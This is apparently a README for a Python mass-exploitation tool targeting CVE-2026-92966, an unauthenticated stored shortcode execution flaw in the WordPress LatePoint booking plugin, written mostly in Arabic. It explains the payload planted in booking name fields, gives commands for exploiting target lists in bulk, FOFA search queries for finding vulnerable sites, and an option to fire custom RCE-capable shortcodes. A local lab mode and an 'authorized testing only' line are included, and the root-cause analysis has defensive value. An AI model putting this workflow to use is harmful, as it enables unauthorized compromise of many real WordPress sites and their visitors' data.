
أداة إثبات مفهوم (PoC) بلغة Python واستغلال جماعي للثغرة CVE-2026-92966، وهي تنفيذ مخزّن للشورت كود (shortcode) دون مصادقة في إضافة WordPress المسماة LatePoint بإصدار ≤5.7.0 عبر حقول الاسم في الحجز.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-92966 |
| المنتج | LatePoint — حجز المواعيد |
| المتأثر | ≤ 5.7.0 |
| المُصلَح | 5.7.1 |
| CWE | CWE-94 — حقن كود (تنفيذ شورت كود) |
| CVSS 3.1 | 9.1 حرج (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| CNA | Wordfence |
| المكتشف | hashiramasenju333 |
| فهرس PoCbit | https://pocbit.org/pocs/ |
| صفحة PoCbit | https://pocbit.org/pocs/cve-2026-92966 |
| علامة التحقق | POCBIT-92966-OK |
| الإشعار الأمني | Wordfence Threat Intel |
PoC بلغة Python متوافق مع CVE-2026-102425: استغلال جماعي افتراضيًا، --check، -u، --lab، تجمّع خيوط، hits.txt / exploited.txt. بدون مفتاح API — زرع غير مُصادَق عليه بالكامل عبر تدفق الحجز العام.
يتيح LatePoint لإضافة WordPress للزوار المجهولين حجز المواعيد. يُخزَّن الاسم الأول / اسم العائلة للعميل باستخدام sanitize_text_field() فقط — ولا تُزال الأقواس المربعة، لذا تبقى قيم مثل [caption]…[/caption] محفوظة.
عندما يعرض الموقع كتلة Gutenberg الخاصة بـ Customer Cabinet (render_customer_dashboard() → [latepoint_customer_dashboard])، يطبع قالب لوحة التحكم اسم العميل داخل HTML (Welcome %s مع esc_html($customer->full_name)). لا يقوم esc_html بترميز [ أو ]، لذا تبقى الحمولات الشبيهة بالشورت كود في مخرجات الكتلة.
ثم يشغّل WordPress do_shortcode على the_content بالأولوية 11. ولأن 5.7.0 أعادت HTML لوحة التحكم الخام من معالج الشورت كود، فقد جرى تحليل الشورت كودات المخزّنة في سطر الترحيب مرة ثانية وتنفيذها. تُصلح 5.7.1 ذلك عبر encode_shortcode_delimiters() على مخرجات لوحة التحكم (انظر تعليق shortcodes_helper.php: "the_content runs do_shortcode at priority 11").
الأثر: تنفيذ شورت كود تعسّفي غير مُصادَق عليه. وهذا ليس دائمًا تنفيذًا فوريًا لأوامر نظام التشغيل (OS RCE) بحد ذاته، لكنه على حزمة WordPress النموذجية يتسلسل إلى إضافات حرجة (النماذج، أدوات البناء، مديرو الملفات، الشورت كودات المدعومة بـ eval). يثبت الـ PoC التنفيذ باستخدام [caption] الأساسي وPOCBIT_EXEC_SHORTCODE الاختياري لأدوات RCE الخاصة بالموقع.
sequenceDiagram
participant A as Attacker
participant B as Booking (nopriv AJAX)
participant DB as wp_latepoint_customers
participant P as Page + Customer Cabinet block
participant WP as the_content do_shortcode
A->>B: first_name=[caption]PAYLOAD[/caption]
B->>DB: store customer (guest booking)
A->>P: GET customer dashboard (session/cookie)
P->>P: shortcode renders Welcome + payload
WP->>WP: second do_shortcode pass
WP-->>A: executed shortcode output (marker)
customer[first_name] (أو last_name) إلى حمولة shortcode.do_shortcode الثانية.مراجع في مصدر البائع (5.7.0):
lib/models/customer_model.php — prepare_data_before_it_is_set() / sanitize_text_field على الأسماءlib/views/customer_cabinet/dashboard.php — سطر الترحيب مع full_namelib/helpers/blocks_helper.php — render_customer_dashboard()lib/helpers/shortcodes_helper.php (5.7.1) — encode_shortcode_delimiters()| الملف | الغرض |
|---|---|
poc.py | CLI، قائمة تفاعلية، استغلال جماعي |
_engine.py | فحص الإصدار، محاولة زرع الحجز، إطلاق لوحة التحكم، المختبر |
up.php | ملف فحص اختياري إذا كان shortcode الخاص بـ RCE يُسقط ملفات |
targets.example.txt | قائمة URL للاستخدام الجماعي |
extract-5.7.0/ / extract-5.7.1/ | أشجار البائع للمقارنة (اختياري) |
pip install requests colorama
python poc.py
exploited.txtpython poc.py targets.txt
python poc.py fofa_latepoint.txt -t 20 -T 28
hits.txtpython poc.py --check targets.txt
البصمة: Stable tag في readme.txt، وإشارات واجهة LatePoint الأمامية (latepoint-book-form، latepoint_helper)، والإصدار ≤ 5.7.0.
python poc.py -u https://target.example --check
python poc.py -u https://target.example
إذا كان الهدف يحتوي على shortcode خطير (مدير ملفات، إلخ):
set POCBIT_EXEC_SHORTCODE=[your_shortcode_here]
python poc.py -u https://target.example
أو: python poc.py -u URL --exec-shortcode "[shortcode]"
يستخدم الفحص الافتراضي الشورت كود الأساسي في ووردبريس [caption]POCBIT-92966-OK[/caption] (لا حاجة لإضافات إضافية لإثبات التنفيذ).
python poc.py --lab
يستمع على 127.0.0.1:8797، ويحاكي readme 5.7.0، وحجز plant، وdo_shortcode مزدوجًا على HTML لوحة التحكم. توقّع "exploited": true.
| الحالة | المعنى |
|---|---|
affected | الإصدار ≤ 5.7.0 (وضع الفحص) |
exploited | علامة بعد معالج الحجز + صفحة Customer Cabinet بعد تسجيل الدخول |
plant_no_auth_cookie | تم زرع الاسم لكن لا توجد كوكي تسجيل دخول للعميل/WP من admin-ajax |
plant_missing_service_id | معالج الحجز لا يحتوي على خدمات عامة للاختيار |
plant_otp_required / plant_auth_blocked | خطوة العميل محجوبة بسبب OTP أو سياسة تسجيل الدخول |
no_customer_cabinet_page | الجلسة سليمة لكن لم يتم العثور على صفحة [latepoint_customer_dashboard] |
shortcode_not_triggered | الزرع + الجلسة سليمان؛ تم تحميل cabinet لكن العلامة لم تُنفَّذ |
patched_skip | ≥ 5.7.1 |
no_latepoint | لم يتم اكتشاف الإضافة |
أمثلة FOFA / البحث:
body="/wp-content/plugins/latepoint/"
body="latepoint-book-form"
body="latepoint_helper"
يعتمد معدل نجاح الاستغلال على: إمكانية الوصول إلى معالج الحجز دون الدفع، ونشر كتلة Customer Cabinet، وجلسة الضيف بعد الحجز.
[ في customer[first_name] / last_name على latepoint_route_call — مؤقتًا فقط.الاختبار المصرّح به فقط.
CVE-2026-92966 — WordPress LatePoint ≤5.7.0 unauthenticated stored shortcode execution (CVSS 9.1, CWE-94). PoCbit mass-exploit PoC: plant [caption]/custom shortcode in booking first name → Customer Cabinet block double do_shortcode; fixed in 5.7.1. No API key. check/exploit/mass, hits.txt & exploited.txt, --lab. Marker: POCBIT-92966-OK. https://pocbit.org/pocs/cve-2026-92966